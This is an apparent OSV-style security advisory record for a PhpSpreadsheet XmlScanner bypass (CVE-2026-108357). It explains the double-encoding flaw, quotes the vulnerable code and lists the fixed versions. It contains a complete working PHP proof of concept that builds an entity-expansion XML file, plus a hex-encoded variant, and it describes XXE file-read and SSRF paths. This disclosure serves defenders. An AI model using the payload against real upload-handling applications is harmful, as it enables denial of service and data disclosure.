{"id":"CVE-2026-108357","aliases":["GHSA-rxj4-h86g-25gc"],"url":"https://o3.security/vulnerability/CVE-2026-108357","summary":"PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service","details":"### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n    $pattern = '/\\0*<\\0*!\\0*D\\0*O\\0*...\\0*/';\n\n    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    $xml = $this->toUtf8($xml);\n    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)\n        throw new Exception('Detected use of ENTITY...');\n    }\n    if ($this->callback !== null) {\n        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)\n    }\n    return $xml;  // <!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan\n// ...\n$this->fileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:\n\n```php\n$data = $this->fileContents; // already partially decoded\n$xml = simplexml_load_string(\n    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file:       &#38;#60;!DOCTYPE\n                         |\n1st scan():     pattern check → no match (no \"<\" character)\n                callback → html_entity_decode(&#38;) = &\n                         |\nStored:         &#60;!DOCTYPE\n                         |\n2nd scan():     pattern check → no match (no \"<\" character)\n                callback → html_entity_decode(&#60;) = <\n                         |\nParser sees:    <!DOCTYPE ← never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\n// Double-encoded: &#38;#60; survives two scan() passes\n// 1st scan callback: &#38; → & (forms &#60;)\n// 2nd scan callback: &#60; → < (forms <!DOCTYPE)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('&big;', 200);\n\n$xml = '<?xml version=\"1.0\"?>' . \"\\n\"\n    . '<?mso-application progid=\"Excel.Sheet\"?>' . \"\\n\"\n    . '&#38;#60;!DOCTYPE Workbook [' . \"\\n\"\n    . '  &#38;#60;!ENTITY big \"' . $entity_value . '\">' . \"\\n\"\n    . ']>' . \"\\n\"\n    . '<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"' . \"\\n\"\n    . '  xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\">' . \"\\n\"\n    . '  <Worksheet ss:Name=\"Sheet1\">' . \"\\n\"\n    . '    <Table><Row><Cell><Data ss:Type=\"String\">' . $refs . '</Data></Cell></Row></Table>' . \"\\n\"\n    . '  </Worksheet>' . \"\\n\"\n    . '</Workbook>';\n\nfile_put_contents('poc.xml', $xml);\necho \"File size: \" . filesize('poc.xml') . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader->canRead('poc.xml') ? 'true' : 'false') . \"\\n\";\n$spreadsheet = $reader->load('poc.xml');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) > 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid=\"Excel.Sheet\"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.","published":"2026-10-22T17:38:16.098Z","modified":"2026-10-28T02:30:32.926882887Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"5.10.0"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"3.10.8"}],"fix":{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781","label":"PHPOffice/PhpSpreadsheet@89f455c"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/108xxx/CVE-2026-108357.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108357"},{"type":"FIX","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"},{"type":"FIX","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:32.926882887Z"}}